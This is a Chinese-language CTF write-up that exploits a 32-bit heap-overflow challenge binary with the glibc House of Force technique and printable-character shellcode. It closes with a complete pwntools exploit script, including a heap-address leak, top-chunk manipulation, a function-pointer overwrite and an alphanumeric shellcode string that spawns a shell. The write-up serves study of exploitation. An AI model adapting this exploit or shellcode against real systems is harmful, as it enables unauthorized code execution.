字串shellcode在house of force中的運用
實驗環境
背景介紹
1、Houseofforce是利用早期glibc庫進行堆分配時存在的缺陷,從而對記憶體進行任意寫的攻擊方式。當初次申請堆塊時,程式會對映一塊較大的chunk作為topchunk,之後再進行申請時如果堆塊較小,將從這個topchunk切分出合適的塊,剩下的部分形成新的topchunk。而houseofforce就是利用了形成新topchunk時簡單將原地址加上切分大小的缺陷,使得該topchunk被移動到任意位置,從而在下一次malloc時產生任意寫的問題。
要利用這一漏洞,需要程式存在堆溢位問題,能夠覆寫topchunk的size段。同時,還要求能確定目標地址與堆地址的偏移量,以便於topchunk能移動至目標位置。
2、字串shellcode指的是由可見字元構成的shellcode。舉例而言,字母‘P’對應的十六進位制為0x50,翻譯成彙編指令為push%rax。可以使用alpha3等工具生成自定義shellcode。
題目分析
程式只有二進位制檔案,這裡為了講解方便,編譯時保留了除錯資訊。首先檢視保護機制:
32位程式,存在可讀可寫可執行段,程式碼段固定載入到0x8048000,不能修改got表。
執行程式,大致觀察程式流程:
程式首先要求使用者輸入name,然後會返回輸出name相關資訊。進入迴圈,當用戶輸入S時允許進一步產生三次輸入,當用戶輸入L時程式退出。除一開始的name以外,程式並不會輸出使用者之前輸入過的資訊。
接下來IDA檢視函式入口:
其中prepare函式如下:
其中welcome函式用於輸出treehole的banner。anymore函式用於讀入一個字元,判斷是否需要退出程式。readstr函式如下:
注意到該函式存在兩個注意點:紅圈內a2用於給定最大輸入字元個數,但其型別為unsignedint,因此當傳入-1時能引發過量寫入。藍圈內對字元大小做了限定,只允許輸入ASCII碼在32~126內的可見字元。
confusename函式定義如下:
其對指定的字串做了一系列異或運算。
接下來的strncpy將ninput開始的0x50個字元拷貝到name處。使用ojbdump可以看出,name和ninput相鄰,當name填滿後printf會繼續向後輸出ninput的值,該值恰是堆上某chunk的地址。因此當輸入的name超過50位元組後,程式會洩露堆地址。
main函式使用的ptr是指向anymore函式的指標,該指標在bss段,可以在接下來的步驟中被修改,從而劫持函式控制流。
主要輸入函式pourout程式碼如下:
首先讀入一個int整數(readint函式簡單使用atoi,此處略去不表),然後申請這個數字+4(4用於存放後面輸入的一個int)大小的塊,並向這個塊寫入該大小指定的字元。然後讀入一個int,並將它緊靠使用者輸入的字串放入塊中。
漏洞利用點就在於如果readint讀入一個負數(如-1),將會申請到一個最小塊,然後允許使用者過量寫入(前文提到,readstr的長度判斷存在unsignedint的問題)。readint此處實現了對可見字元這一限定的繞過,從而等價於允許使用者輸入最多4位元組的任意字元。
那麼題目的思路便可以總結為:
1、調整topchunk到ptr附近
2、通過申請塊時的readint,修改ptr為目的碼指標
3、利用RWX的漏洞,事先寫入字串shellcode,在第2步中使用
如何調整topchunk呢?根據32位程式chunk的8位元組對齊原則,只需要利用程式存在的-1任意寫問題,即可產生堆溢位問題,修改topchunk的prev_size段,並使用readint來輸入0xfffffff(即-1),程式如下:
io.sendline('S') io.sendlineafter('wanna say?', '-1') io.sendlineafter('secrets...','A'*12) io.sendlineafter('do you like?','-1') |
則達到的效果為:
紅圈內為使用者申請到的chunk,可見其後的topchunk的size被修改為0xffffffff,則下一次申請時可以繞過對chunk大小的驗證。
這裡為什麼一定要繞過這一驗證呢?因為ptr位於bss段,其地址低於topchunk。當malloc一個塊時,如果使用topchunk,會首先檢查其大小是否合適,然後將topchunk的地址加上塊的大小,來實現topchunk的移動。如果想讓topchunk重定向到小地址,需要malloc一個負數,而負數在unsignedint翻譯時會成為大正數,不再使用topchunk切分,而是直接在libc載入地址前使用mmap對映。如果將topchunk修改為0xffffffff,能使得chunk的分配採用切分topchunk的方式,從而將topchunk向低地址移動。
接下來可以再申請塊,將大小設定為目標地址減去topchunk地址,實現topchunk的移動。這裡可以將目標地址設定為ptr-0x10,則可以使得chunkhead後直接readint輸入shellcode地址即可實現修改ptr,劫持控制流。
# move top chunk to .bss section func_ptr = 0x804b090 -0x10 target_addr = func_ptr - 4 current_addr = heap_base + 0x278 io.sendline('S') io.sendlineafter('wanna say?', str(target_addr-current_addr)) io.sendlineafter('secrets...','B'*12) io.sendlineafter('do you like?','-1') |
因此需要準備好shellcode。這裡可以從網上搜索到32位程式的一條字串shellcode:
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA |
直接正常輸入即可。這裡有兩種放置方式,一種是放到ptr前,然後在當次填充中即可順便修改ptr;一種是放到正常狀態的堆裡,然後再用一次malloc修改ptr。由於這裡ptr在bss段的偏移是0x90,而shellcode長度147位元組超過了0x90,所以採用了第一種方法。那麼在第一次修改topchunk大小前,先填充這個shellcode即可。這也是之前的使用0x278的原因。
可見字串shellcode如上所示。調整ptr到0x8eb61d0即可。(即heap_base+0x1d0)
執行指令碼,最終攻擊結果如下:
指令碼完整程式碼如下。shellcode和調整topchunk的方法不唯一,這裡只是列舉其中一種情況。
from pwn import * from pwn import u32 io = process('./a.out') context.terminal = ['tmux','splitw','-h'] # context.log_level = 'debug' #gdb.attach(io, 'b main') def leak_heap_base(): name = b'A'*100 io.sendlineafter('tell me your name:',name) raw = io.recvuntil('Enjoy') rawbase = raw[raw.find(b'. Enjoy')-4:raw.find(b'. Enjoy')] return u32(rawbase.ljust(4,b'\x00')) & 0xfffff000 heap_base = leak_heap_base() log.success(f'Leak heap base : {hex(heap_base)}') # write shellcode shellcode = 'PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA' shellcode_func = heap_base + 0x1d0 io.sendline('') io.sendline('S') io.sendlineafter('wanna say?', str(len(shellcode))) io.sendlineafter('secrets...',shellcode) io.sendlineafter('do you like?','-1') # modify size of top chunk for i in range(31): io.sendline('') io.sendline('S') io.sendlineafter('wanna say?', '-1') io.sendlineafter('secrets...','A'*12) io.sendlineafter('do you like?','-1') # move top chunk to .bss section func_ptr = 0x804b090 -0x10 target_addr = func_ptr - 4 current_addr = heap_base + 0x278 for i in range(10): io.sendline('') io.sendline('S') io.sendlineafter('wanna say?', str(target_addr-current_addr)) io.sendlineafter('secrets...','B'*12) io.sendlineafter('do you like?','-1') # getshell io.sendline('S') io.sendlineafter('wanna say?', '-1') io.sendlineafter('secrets...','') io.sendlineafter('do you like?',str(heap_base+0x1d0)) io.interactive() |